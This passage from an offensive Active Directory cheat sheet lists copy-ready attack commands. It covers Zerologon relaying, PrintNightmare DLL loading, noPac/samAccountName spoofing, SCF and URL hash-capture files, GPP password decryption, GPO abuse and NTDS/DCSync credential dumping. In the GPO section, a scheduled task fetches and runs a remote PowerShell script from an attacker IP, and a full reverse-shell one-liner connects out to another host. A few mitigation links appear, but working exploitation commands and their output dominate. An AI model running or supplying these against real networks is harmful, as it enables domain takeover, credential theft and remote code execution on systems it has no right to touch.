  crackmapexec smb 10.10.10.10 -u username -p password -d domain -M zerologon
  ```
  
A 2nd approach to exploit zerologon is done by relaying authentication.

This technique, [found by dirkjanm](https://dirkjanm.io/a-different-way-of-abusing-zerologon), requires more prerequisites but has the advantage of having no impact on service continuity.
The following prerequisites are needed:
* A domain account
* One DC running the `PrintSpooler` service
* Another DC vulnerable to zerologon

* `ntlmrelayx` - from Impacket and any tool such as [`printerbug.py`](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)
  ```powershell
  # Check if one DC is running the PrintSpooler service
  rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv"
  
  # Setup ntlmrelay in one shell
  ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support
  
  #Trigger printerbug in 2nd shell
  python3 printerbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12
  ```

### PrintNightmare

> CVE-2021-1675 / CVE-2021-34527

The DLL will be stored in `C:\Windows\System32\spool\drivers\x64\3\`.
The exploit will execute the DLL either from the local filesystem or a remote share.

Requirements:
* **Spooler Service** enabled (Mandatory)
* Server with patches < June 2021
* DC with `Pre Windows 2000 Compatibility` group
* Server with registry key `HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall` = (DWORD) 1
* Server with registry key `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA` = (DWORD) 0


**Detect the vulnerability**:
* Impacket - [rpcdump](https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py)
  ```ps1
  python3 ./rpcdump.py @10.0.2.10 | egrep 'MS-RPRN|MS-PAR'
  Protocol: [MS-RPRN]: Print System Remote Protocol
  ```
* [It Was All A Dream](https://github.com/byt3bl33d3r/ItWasAllADream) 
  ```ps1
  git clone https://github.com/byt3bl33d3r/ItWasAllADream
  cd ItWasAllADream && poetry install && poetry shell
  itwasalladream -u user -p Password123 -d domain 10.10.10.10/24
  docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.10
  ```

**Payload Hosting**: 
* The payload can be hosted on Impacket SMB server since [PR #1109](https://github.com/SecureAuthCorp/impacket/pull/1109):
```ps1
python3 ./smbserver.py share /tmp/smb/
```
* Using [Invoke-BuildAnonymousSMBServer](https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer/blob/main/Invoke-BuildAnonymousSMBServer.ps1) (Admin rights required on host): 
```ps1
Import-Module .\Invoke-BuildAnonymousSMBServer.ps1; Invoke-BuildAnonymousSMBServer -Path C:\Share -Mode Enable
```
* Using WebDav with [SharpWebServer](https://github.com/mgeeky/SharpWebServer) (Doesn't require admin rights):
```ps1
SharpWebServer.exe port=8888 dir=c:\users\public verbose=true
```
When using WebDav instead of SMB, you must add `@[PORT]` to the hostname in the URI, e.g.: `\\172.16.1.5@8888\Downloads\beacon.dll`
WebDav client **must** be activated on exploited target. By default it is not activated on Windows workstations (you have to `net start webclient`) and it's not installed on servers. Here is how to detect activated webdav:
```ps1
cme smb -u user -p password -d domain.local -M webdav [TARGET]
```

**Trigger the exploit**: 

* [SharpNightmare](https://github.com/cube0x0/CVE-2021-1675)
  ```powershell
  # require a modified Impacket: https://github.com/cube0x0/impacket
  python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll'
  python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll'
  ## LPE
  SharpPrintNightmare.exe C:\addCube.dll
  ## RCE using existing context
  SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
  ## RCE using runas /netonly
  SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll'  'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123
  ```
* [Invoke-Nightmare](https://github.com/calebstewart/CVE-2021-1675)
  ```powershell
  ## LPE only (PS1 + DLL)
  Import-Module .\cve-2021-1675.ps1
  Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
  Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword "AzkabanUnleashed123*" 
  Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
  ```
* [Mimikatz v2.2.0-20210709+](https://github.com/gentilkiwi/mimikatz/releases)
  ```powershell
  ## LPE
  misc::printnightmare /server:DC01 /library:C:\Users\user1\Documents\mimispool.dll
  ## RCE
  misc::printnightmare /server:CASTLE /library:\\10.0.2.12\smb\beacon.dll /authdomain:LAB /authuser:Username /authpassword:Password01 /try:50
  ```
* [PrintNightmare - @outflanknl](https://github.com/outflanknl/PrintNightmare)
  ```powershell
  PrintNightmare [target ip or hostname] [UNC path to payload Dll] [optional domain] [optional username] [optional password]
  ```

**Debug informations**

| Error  | Message             | Debug                                    |
|--------|---------------------|------------------------------------------|
| 0x5    | `rpc_s_access_denied` | Permissions on the file in the SMB share |
| 0x525  | `ERROR_NO_SUCH_USER`  | The specified account does not exist.    |
| 0x180  | unknown error code  | Share is not SMB2                        |


### samAccountName spoofing

> During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a ST to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid ST for the domain controller.

**Requirements**

* MachineAccountQuota > 0

**Check for exploitation**

0. Check the MachineAccountQuota of the account
  ```powershell
  crackmapexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ
  StandIn.exe --object ms-DS-MachineAccountQuota=*
  ```
1. Check if the DC is vulnerable
  ```powershell
  crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac
  ```

**Exploitation**

0. Create a computer account
    ```powershell
    impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'

    powermad@windows> . .\Powermad.ps1
    powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
    powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose

    sharpmad@windows> Sharpmad.exe MAQ -Action new -MachineAccount ControlledComputer -MachinePassword ComputerPassword
    ```
1. Clear the controlled machine account `servicePrincipalName` attribute
    ```ps1
    impacket@linux> addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController

    powershell@windows> . .\Powerview.ps1
    powershell@windows> Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
    ```
2. (CVE-2021-42278) Change the controlled machine account `sAMAccountName` to a Domain Controller's name without the trailing `$`
    ```ps1
    # https://github.com/SecureAuthCorp/impacket/pull/1224
    impacket@linux> renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'

    powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
    ```
3. Request a TGT for the controlled machine account
    ```ps1
    impacket@linux> getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'

    cmd@windows> Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
    ```
4. Reset the controlled machine account sAMAccountName to its old value 
    ```ps1
    impacket@linux> renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'

    powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
    ```
5. (CVE-2021-42287) Request a service ticket with `S4U2self` by presenting the TGT obtained before
    ```ps1
    # https://github.com/SecureAuthCorp/impacket/pull/1202
    impacket@linux> KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'

    cmd@windows> Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
    ```
6. DCSync: `KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'`

Automated exploitation:

* [cube0x0/noPac](https://github.com/cube0x0/noPac) - Windows
    ```powershell
    noPac.exe scan -domain htb.local -user user -pass 'password123'
    noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt
    noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt /impersonate Administrator
    ```
* [Ridter/noPac](https://github.com/Ridter/noPac) - Linux
  ```ps1
  python noPac.py 'domain.local/user' -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0' -dc-ip 10.10.10.10 -use-ldap -dump
  ```
* [WazeHell/sam-the-admin](https://github.com/WazeHell/sam-the-admin)
    ```ps1
    $ python3 sam_the_admin.py "domain/user:password" -dc-ip 10.10.10.10 -shell
    [*] Selected Target dc.caltech.white                                              
    [*] Total Domain Admins 11                                                        
    [*] will try to impersonat gaylene.dreddy                                         
    [*] Current ms-DS-MachineAccountQuota = 10                                        
    [*] Adding Computer Account "SAMTHEADMIN-11$"                                     
    [*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL                      
    [*] Successfully added machine account SAMTHEADMIN-11$ with password EhFMT%mzmACL.
    [*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=white   
    [*] SAMTHEADMIN-11$ sAMAccountName == dc                                          
    [*] Saving ticket in dc.ccache                                                    
    [*] Resting the machine account to SAMTHEADMIN-11$                                
    [*] Restored SAMTHEADMIN-11$ sAMAccountName to original value                     
    [*] Using TGT from cache                                                          
    [*] Impersonating gaylene.dreddy                                                  
    [*]     Requesting S4U2self                                                       
    [*] Saving ticket in gaylene.dreddy.ccache                                        
    [!] Launching semi-interactive shell - Careful what you execute                   
    C:\Windows\system32>whoami                                                        
    nt authority\system 
    ```
* [ly4k/Pachine](https://github.com/ly4k/Pachine)
    ```powershell
    usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local]
                  [-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip]
                  [domain/]username[:password]
    $ python3 pachine.py -dc-host dc.domain.local -scan 'domain.local/john:Passw0rd!'
    $ python3 pachine.py -dc-host dc.domain.local -spn cifs/dc.domain.local -impersonate administrator 'domain.local/john:Passw0rd!'
    $ export KRB5CCNAME=$PWD/administrator@domain.local.ccache
    $ impacket-psexec -k -no-pass 'domain.local/administrator@dc.domain.local'
    ```

**Mitigations**:
* [KB5007247 - Windows Server 2012 R2](https://support.microsoft.com/en-us/topic/november-9-2021-kb5007247-monthly-rollup-2c3b6017-82f4-4102-b1e2-36f366bf3520)
* [KB5008601 - Windows Server 2016](https://support.microsoft.com/en-us/topic/november-14-2021-kb5008601-os-build-14393-4771-out-of-band-c8cd33ce-3d40-4853-bee4-a7cc943582b9)
* [KB5008602 - Windows Server 2019](https://support.microsoft.com/en-us/topic/november-14-2021-kb5008602-os-build-17763-2305-out-of-band-8583a8a3-ebed-4829-b285-356fb5aaacd7)
* [KB5007205 - Windows Server 2022](https://support.microsoft.com/en-us/topic/november-9-2021-kb5007205-os-build-20348-350-af102e6f-cc7c-4cd4-8dc2-8b08d73d2b31)
* [KB5008102](https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e)
* [KB5008380](https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041)


## Open Shares

> Some shares can be accessible without authentication, explore them to find some juicy files

* [ShawnDEvans/smbmap - a handy SMB enumeration tool](https://github.com/ShawnDEvans/smbmap)
  ```powershell
  smbmap -H 10.10.10.10                # null session
  smbmap -H 10.10.10.10 -r [PATH]      # recursive listing
  smbmap -H 10.10.10.10 -u invaliduser # guest smb session
  smbmap -H 10.10.10.10 -d "DOMAIN.LOCAL" -u "USERNAME" -p "Password123*"
  ```

* [byt3bl33d3r/pth-smbclient from path-toolkit](https://github.com/byt3bl33d3r/pth-toolkit)
  ```powershell
  pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
  pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$
  ls  # list files
  cd  # move inside a folder
  get # download files
  put # replace a file
  ```

* [SecureAuthCorp/smbclient from Impacket](https://github.com/SecureAuthCorp/impacket)
  ```powershell
  smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
          Sharename       Type      Comment
          ---------       ----      -------
          ADMIN$          Disk      Remote Admin
          C$              Disk      Default share
          IPC$            IPC       Remote IPC
          NETLOGON        Disk      Logon server share
          Replication     Disk      
          SYSVOL          Disk      Logon server share
          Users           Disk
  use Sharename # select a Sharename
  cd Folder     # move inside a folder
  ls            # list files
  ```

* [smbclient - from Samba, ftp-like client to access SMB/CIFS resources on servers](#)
  ```powershell
  smbclient -U username //10.0.0.1/SYSVOL
  smbclient //10.0.0.1/Share

  # Download a folder recursively
  smb: \> mask ""
  smb: \> recurse ON
  smb: \> prompt OFF
  smb: \> lcd '/path/to/go/'
  smb: \> mget *
  ```


* [SnaffCon/Snaffler - a tool for pentesters to help find delicious candy](https://github.com/SnaffCon/Snaffler)
  ```ps1
  snaffler.exe -s - snaffler.log

  # Snaffle all the computers in the domain
  ./Snaffler.exe -d domain.local -c <DC> -s

  # Snaffle specific computers
  ./Snaffler.exe -n computer1,computer2 -s
  ​
  # Snaffle a specific directory
  ./Snaffler.exe -i C:\ -s
  ```


## SCF and URL file attack against writeable share

Theses attacks can be automated with [Farmer.exe](https://github.com/mdsecactivebreach/Farmer) and [Crop.exe](https://github.com/mdsecactivebreach/Farmer/tree/main/crop)

```ps1
# Farmer to receive auth
farmer.exe <port> [seconds] [output]
farmer.exe 8888 0 c:\windows\temp\test.tmp # undefinitely
farmer.exe 8888 60 # one minute

# Crop can be used to create various file types that will trigger SMB/WebDAV connections for poisoning file shares during hash collection attacks
crop.exe <output folder> <output filename> <WebDAV server> <LNK value> [options]
Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico
Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec
```

### SCF Files

Drop the following `@something.scf` file inside a share and start listening with Responder : `responder -wrf --lm -v -I eth0`

```powershell
[Shell]
Command=2
IconFile=\\10.10.10.10\Share\test.ico
[Taskbar]
Command=ToggleDesktop
```

Using [`crackmapexec`](https://github.com/mpgn/CrackMapExec/blob/master/cme/modules/slinky.py):

```ps1
crackmapexec smb 10.10.10.10 -u username -p password -M scuffy -o NAME=WORK SERVER=IP_RESPONDER #scf
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER #lnk
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER CLEANUP
```

### URL Files

This attack also works with `.url` files and `responder -I eth0 -v`.

```powershell
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.10.10.10\%USERNAME%.icon
IconIndex=1
```

### Windows Library Files 

> Windows Library Files (.library-ms)

```xml
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="<http://schemas.microsoft.com/windows/2009/library>">
  <name>@windows.storage.dll,-34582</name>
  <version>6</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1003</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>false</isSupported>
      <simpleLocation>
        <url>\\\\workstation@8888\\folder</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
```

### Windows Search Connectors Files

> Windows Search Connectors (.searchConnector-ms)

```xml
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="<http://schemas.microsoft.com/windows/2009/searchConnector>">
    <iconReference>imageres.dll,-1002</iconReference>
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <iconReference>\\\\workstation@8888\\folder.ico</iconReference>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>\\\\workstation@8888\\folder</url>
    </simpleLocation>
</searchConnectorDescription>
```


## Passwords in SYSVOL & Group Policy Preferences

Find password in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: `\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.

```powershell
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
```

Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx)

```bash
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

e.g: 
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
```

### Automate the SYSVOL and passwords research

* `Metasploit` modules to enumerate shares and credentials
    ```c
    scanner/smb/smb_enumshares
    post/windows/gather/enum_shares
    post/windows/gather/credentials/gpp
    ```

* CrackMapExec modules
    ```powershell
    cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_autologin
    cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_password
    ```

* [Get-GPPPassword](https://github.com/SecureAuthCorp/impacket/blob/master/examples/Get-GPPPassword.py)
  ```powershell
  # with a NULL session
  Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'

  # with cleartext credentials
  Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'

  # pass-the-hash
  Get-GPPPassword.py -hashes 'LMhash':'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
  ```

### Mitigations

* Install [KB2962486](https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/ms14-025) on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
* Delete existing GPP xml files in SYSVOL containing passwords.
* Don’t put passwords in files that are accessible by all authenticated users.

## Exploit Group Policy Objects GPO

> Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner

:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local

GPO are stored in the DC in `\\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\`, inside two folders **User** and **Machine**.
If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at `Machine\Preferences\ScheduledTasks`.

:warning: Domain members refresh group policy settings every 90 minutes with a random offset of 0 to 30 minutes but it can locally be forced with the following command: `gpupdate /force`. 

### Find vulnerable GPO

Look a GPLink where you have the **Write** right.

```powershell
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs |  Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")}
```

### Abuse GPO with SharpGPOAbuse

```powershell
# Build and configure SharpGPOAbuse
$ git clone https://github.com/FSecureLABS/SharpGPOAbuse
$ Install-Package CommandLineParser -Version 1.9.3.15
$ ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\CommandLine.dll

# Adding User Rights
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

# Adding a Local Admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"

# Configuring a User or Computer Logon Script
.\SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

# Configuring a Computer or User Immediate Task
# /!\ Intended to "run once" per GPO refresh, not run once per system
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
.\SharpGPOAbuse.exe --AddComputerTask --GPOName "VULNERABLE_GPO" --Author 'LAB.LOCAL\User' --TaskName "EvilTask" --Arguments  "/c powershell.exe -nop -w hidden -enc BASE64_ENCODED_COMMAND " --Command "cmd.exe" --Force
```

### Abuse GPO with PowerGPOAbuse

* https://github.com/rootSySdk/PowerGPOAbuse

```ps1
PS> . .\PowerGPOAbuse.ps1

# Adding a localadmin 
PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'

# Assign a new right 
PS> Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'

# Adding a New Computer/User script 
PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO'

# Create an immediate task 
PS> Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator -Scope Computer/User -GPOIdentity 'SuperSecureGPO'
```

### Abuse GPO with pyGPOAbuse

```powershell
$ git clone https://github.com/Hackndo/pyGPOAbuse

# Add john user to local administrators group (Password: H4x00r123..)
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"

# Reverse shell example
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \ 
    -powershell \ 
    -command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \ 
    -taskname "Completely Legit Task" \
    -description "Dis is legit, pliz no delete" \ 
    -user
```

### Abuse GPO with PowerView

```powershell
# Enumerate GPO
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force
```

### Abuse GPO with StandIn

```powershell
# Add a local administrator
StandIn.exe --gpo --filter Shards --localadmin user002

# Set custom right to a user
StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"

# Execute a custom command
StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"
```

## Dumping AD Domain Credentials

You will need the following files to extract the ntds : 
- NTDS.dit file
- SYSTEM hive (`C:\Windows\System32\SYSTEM`)

Usually you can find the ntds in two locations : `systemroot\NTDS\ntds.dit` and `systemroot\System32\ntds.dit`.
- `systemroot\NTDS\ntds.dit` stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data).
- `systemroot\System32\ntds.dit` is the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.

However you can change the location to a custom one, you will need to query the registry to get the current location.

```powershell
reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database file"
```

### DCSync Attack

DCSync is a technique used by attackers to obtain sensitive information, including password hashes, from a domain controller in an Active Directory environment. Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data. 

* DCSync only one user
  ```powershell
  mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt
  ```
* DCSync all users of the domain
  ```powershell
  mimikatz# lsadump::dcsync /domain:htb.local /all /csv

  crackmapexec smb 10.10.10.10 -u 'username' -p 'password' --ntds
  crackmapexec smb 10.10.10.10 -u 'username' -p 'password' --ntds drsuapi
  ```

> :warning: OPSEC NOTE: Replication is always done between 2 Computers. Doing a DCSync from a user account can raise alerts.


### Volume Shadow Copy

The VSS is a Windows service that allows users to create snapshots or backups of their data at a specific point in time. Attackers can abuse this service to access and copy sensitive data, even if it is currently being used or locked by another process.

* [windows-commands/vssadmin](https://learn.microsoft.com/fr-fr/windows-server/administration/windows-commands/vssadmin)
  ```powershell
  vssadmin create shadow /for=C:
  copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
  copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
  ```
* [windows-commands/ntdsutil](https://learn.microsoft.com/fr-fr/troubleshoot/windows-server/identity/use-ntdsutil-manage-ad-files)
  ```powershell
  ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
  ```
* [CrackMapExec VSS module](https://wiki.porchetta.industries/smb-protocol/obtaining-credentials/dump-ntds.dit)
  ```powershell
  cme smb 10.10.0.202 -u username -p password --ntds vss
  ```


### Extract hashes from ntds.dit

then you need to use [secretsdump](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) to extract the hashes, use the `LOCAL` options to use it on a retrieved ntds.dit

```java
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
```

[secretsdump](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) also works remotely

```java
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status 
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
```

* `-pwd-last-set`: Shows pwdLastSet attribute for each NTDS.DIT account.
* `-user-status`: Display whether or not the user is disabled.


### Using Mimikatz sekurlsa

Dumps credential data in an Active Directory domain when run on a Domain Controller.
:warning: Requires administrator access with debug or Local SYSTEM rights

```powershell
sekurlsa::krbtgt
lsadump::lsa /inject /name:krbtgt
```

### Crack NTLM hashes with hashcat

Useful when you want to have the clear text password or when you need to make stats about weak passwords.

Recommended wordlists:
- [Rockyou.txt](https://weakpass.com/wordlist/90)
- [Have I Been Pwned founds](https://hashmob.net/hashlists/info/4169-Have%20I%20been%20Pwned%20V8%20(NTLM))
- [Weakpass.com](https://weakpass.com/)
- Read More at [Methodology and Resources/Hash Cracking.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Hash%20Cracking.md)

```powershell
# Basic wordlist
# (-O) will Optimize for 32 characters or less passwords
# (-w 4) will set the workload to "Insane" 
